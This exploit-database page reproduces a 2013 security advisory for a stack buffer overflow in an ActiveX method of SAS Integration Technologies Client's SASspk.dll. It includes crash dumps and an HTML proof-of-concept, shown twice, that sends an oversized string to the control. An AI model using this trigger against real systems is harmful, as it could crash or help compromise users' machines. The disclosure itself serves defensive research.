Search...

SAS Integration Technologies Client 9.31_M1 (SASspk.dll) - Stack-Based Overflow

2014-07-01T00:00:00

ID SSV:79371
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                &#60;!--

SAS Integration Technologies Client 9.31_M1 (SASspk.dll) Stack-based Overflow


Vendor: SAS Institute Inc.
Product web page: http://www.sas.com
Affected version: Deployment Manager 9.3.0.0 (Model 12.05, TS1M2)
                  SAS Integration Technologies Client 9.31_M1

Summary: SAS Integration Technologies provides you with software that
enables you to build a secure client/server infrastructure on which to
implement SAS distributed processing solutions. With SAS Integration
Technologies, you can integrate SAS with other applications in your
enterprise; provide proactive delivery of information from SAS throughout
the enterprise; extend the capabilities of SAS to meet your organization&#39;s
specific needs; and develop your own distributed applications that leverage
the analytic and reporting powers of SAS. The SAS Deployment Manager is
used for post-installation configuration tasks such as configuring some
products, applying hot fixes, updating metadata, and uninstalling SAS
software.

Desc: The SASspk module (SASspk.dll) version 9.310.0.11307, has a
function called &#39;RetrieveBinaryFile()&#39; which has one parameter called
&#39;bstrFileName&#39; which takes arguments as strings as defined in the
function itself as ISPKBinaryFile from the SASPackageRetrieve library.
Stack-based buffer overflow was discovered in one of the fuzzing
processes that could allow arbitrary code execution by an attacker
when exploiting the non-sanitized &#39;bstrFileName&#39; parameter.


======================================================================

ArgDump:
--------------------------------------------------
EBP+8	007EA404 -&#62; Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+12	0016EB30 -&#62; 00000000
EBP+16	00940E68 -&#62; BAADF00D
EBP+20	41414141
EBP+24	41414141
EBP+28	41414141


Stack Dump:
--------------------------------------------------
1699E0 60 0E 94 00 00 00 00 00 01 00 00 00 60 0E 94 00  [`...........`...]
1699F0 30 28 00 00 00 00 00 00 00 00 00 00 E4 EA 16 00  [................]
169A00 33 DF 4D 00 04 A4 7E 00 30 EB 16 00 68 0E 94 00  [..M.........h...]
169A10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
169A20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]

======================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 EN (32/64bit)
           Microsoft Windows 7 Enterprise EN (32/64bit)


Vulnerability discovered by Gjoko &#39;LiquidWorm&#39; Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5142
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5142.php


20.04.2013

--&#62;


&#60;html&#62;
&#60;title&#62;SAS Integration Technologies Client ActiveX Stack BoF 0-day&#60;/title&#62;
&#60;body&#62;
&#60;object id=&#39;smash&#39; classid=&#39;clsid:DDF47362-6319-11D4-87C0-00C04F48BC53&#39; /&#62;
&#60;script&#62;

function run()
{
	targetFile = &#34;C:\Program Files\SASHome\x86\Integration Technologies\SASspk.dll&#34;
	prototype  = &#34;Function RetrieveBinaryFile ( ByVal bstrFileName As String ) As ISPKBinaryFile&#34;
	memberName = &#34;RetrieveBinaryFile&#34;
	progid     = &#34;SASPackageRetrieve.SPKRetrieve&#34;
	argCount   = 1
	arg1=String(5140, &#34;A&#34;)
	smash.RetrieveBinaryFile arg1
}

&#60;/script&#62;&#60;center&#62;&#60;br /&#62;&#60;br /&#62;
&#60;input language=JavaScript onclick=run() type=button value=&#34;Test&#34;&#62;
&#60;/center&#62;
&#60;/body&#62;
&#60;/html&#62;

JSON Vulners Source

Initial Source

{"type": "seebug", "viewCount": 6, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2017-11-19T13:31:15", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T13:31:15", "rev": 2}, "vulnersScore": 0.1}, "reporter": "Root", "title": "SAS Integration Technologies Client 9.31_M1 (SASspk.dll) - Stack-Based Overflow", "cvelist": [], "bulletinFamily": "exploit", "sourceHref": "https://www.seebug.org/vuldb/ssvid-79371", "cvss": {"score": 0.0, "vector": "NONE"}, "references": [], "enchantments_done": [], "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "href": "https://www.seebug.org/vuldb/ssvid-79371", "id": "SSV:79371", "status": "poc", "lastseen": "2017-11-19T13:31:15", "sourceData": "\n \r\n\r\n\r\n<html>\r\n<title>SAS Integration Technologies Client ActiveX Stack BoF 0-day</title>\r\n<body>\r\n<object id='smash' classid='clsid:DDF47362-6319-11D4-87C0-00C04F48BC53' />\r\n<script>\r\n\r\nfunction run()\r\n{\r\n\ttargetFile = "C:\\Program Files\\SASHome\\x86\\Integration Technologies\\SASspk.dll"\r\n\tprototype = "Function RetrieveBinaryFile ( ByVal bstrFileName As String ) As ISPKBinaryFile"\r\n\tmemberName = "RetrieveBinaryFile"\r\n\tprogid = "SASPackageRetrieve.SPKRetrieve"\r\n\targCount = 1\r\n\targ1=String(5140, "A")\r\n\tsmash.RetrieveBinaryFile arg1\r\n}\r\n\r\n</script><center><br /><br />\r\n<input language=JavaScript onclick=run() type=button value="Test">\r\n</center>\r\n</body>\r\n</html>\r\n\n ", "published": "2014-07-01T00:00:00"}